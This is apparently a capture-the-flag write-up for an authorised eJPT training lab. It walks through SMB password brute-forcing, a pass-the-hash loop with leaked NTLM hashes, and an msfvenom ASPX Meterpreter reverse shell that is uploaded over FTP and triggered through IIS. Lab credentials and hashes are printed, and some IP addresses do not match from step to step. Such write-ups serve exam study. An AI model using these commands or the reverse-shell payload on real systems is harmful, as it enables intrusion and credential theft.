Exploitation CTF 2

Enumerate the services on target.ine.local and capture four flags.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

A target machine is accessible at target.ine.local. Identify the services and capture the flags.

A useful wordlist: /usr/share/wordlists/metasploit/unix_passwords.txt

MetasploitNmapsmbmapsmbclientCrackMapExecHydraFirefox

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — SMB user tom's old password

First, identify the attacker interfaces. The eth1 interface sits in the target network range and is used for scanning and exploitation.

ip addr

Check /etc/hosts for a static hostname mapping:

cat /etc/hosts
# target.ine.local → 10.3.21.53

Enumeration

nmap -sV -sC -Pn -A -p- 10.3.21.53

Web content discovery (good practice):

dirb http://10.3.21.53
gobuster dir -u http://10.3.21.53 -w /usr/share/wordlists/dirb/common.txt
ls /usr/share/wordlists/seclists/Passwords/

Brute-forcing SMB

A Hydra SMB attempt fails because the target only supports SMBv2/SMBv3, while Hydra's SMB module relies on legacy behavior:

hydra -l tom -P /usr/share/wordlists/fasttrack.txt smb://10.3.21.53:445

CrackMapExec is the right tool for modern SMB. rockyou.txt ships gzip-compressed and must be decompressed first:

gunzip /usr/share/wordlists/rockyou.txt.gz
crackmapexec smb target.ine.local -u tom -p /usr/share/wordlists/rockyou.txt

Valid credentials are found: tom : felipe

crackmapexec smb target.ine.local -u tom -p felipe --shares

Accessing the share

# Option 1 — smbclient
smbclient -L //target.ine.local -U tom      # password: felipe

# Option 2 — smbmap
smbmap -H target.ine.local -u tom -p felipe

Connect to the HR share and read the flag:

smbclient //target.ine.local/HRDocuments -U tom   # password: felipe
smb> ls
smb> more flag1.txt
# or: mget *  → then in a new terminal: cat flag1.txt
Note: smbclient has no cat. Use more, or mget * to download and read locally.
🏁 FLAG 1: 4c80bcc9f7b24652ac993c4bb648d3ab

The share also contained a leaked hash list (cat leaked-hashes.txt) — used next.

Flag 2 — Compromising nancy with Pass-the-Hash

Hydra isn't suitable for NTLM-hash auth — use SMB-aware tools. Extract just the hashes:

cut -d ':' -f2 leaked-hashes.txt > ntlm_hashes.txt

A quick Bash loop to Pass-the-Hash each one as nancy:

while read hash; do
  echo "[*] Testing $hash"
  smbclient -L //target.ine.local -U nancy --pw-nt-hash "$hash" 2>/dev/null \
    | grep -q "Disk" && echo "[+] THIS IS NANCY'S HASH: $hash"
done < ntlm_hashes.txt

Using Metasploit's smb_login

msfconsole -q
search smb
use auxiliary/scanner/smb/smb_login
show options

set RHOSTS 10.3.17.25
set PASS_FILE leaked-hashes.txt
set SMBUser nancy
set CreateSession true
run

Valid hash for nancy:

nancy:aad3b435b51404eeaad3b435b51404ee:b3ddea4b4b957f3e037af75cfe5317ad

Interact with the session and browse shares:

sessions
sessions 1
shares
shares -i HRDocuments
shares -i ITResources

Retrieve flag2.txt and a hint file (cat hint.txt).

🏁 FLAG 2: 514a2320046c4fe5b2bba759c8d86c51

Hint found: david : omnitrix_9901

Flag 3 — Using the hint over FTP

ftp target.ine.local
# username: david
# password: omnitrix_9901
ftp> get flag3.txt

In a new terminal: cat flag3.txt

🏁 FLAG 3: 23704545011d443f9fed3394391bbc83

Flag 4 — Full compromise via web shell

Find your local (attacker) IP with ip a, then generate an ASPX Meterpreter payload (the target runs IIS and executes .aspx):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.40.2 LPORT=1234 -f aspx > shell.aspx
PartMeaning
-p ...reverse_tcpWindows 64-bit Meterpreter reverse shell
LHOSTYour attacker IP
LPORTListener port
-f aspxOutput format for ASP.NET / IIS

Upload the shell over FTP:

ftp target.ine.local      # david / omnitrix_9901
ftp> put shell.aspx

Start a listener:

msfconsole
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.40.3
set LPORT 1234
run

Trigger the shell by browsing to http://target.ine.local/shell.aspx. Once Meterpreter opens:

getuid
sysinfo
getprivs
cat C:\flag4.txt
🏁 FLAG 4: b741cc0de2c34b3db2503dbe5ffeded8

Summary

FlagTechnique
1SMB password brute-force with CrackMapExec → read HR share
2Pass-the-Hash with leaked NTLM hashes (Metasploit smb_login)
3Reused credential hint over FTP
4ASPX Meterpreter payload uploaded via FTP, executed through IIS

Key Takeaways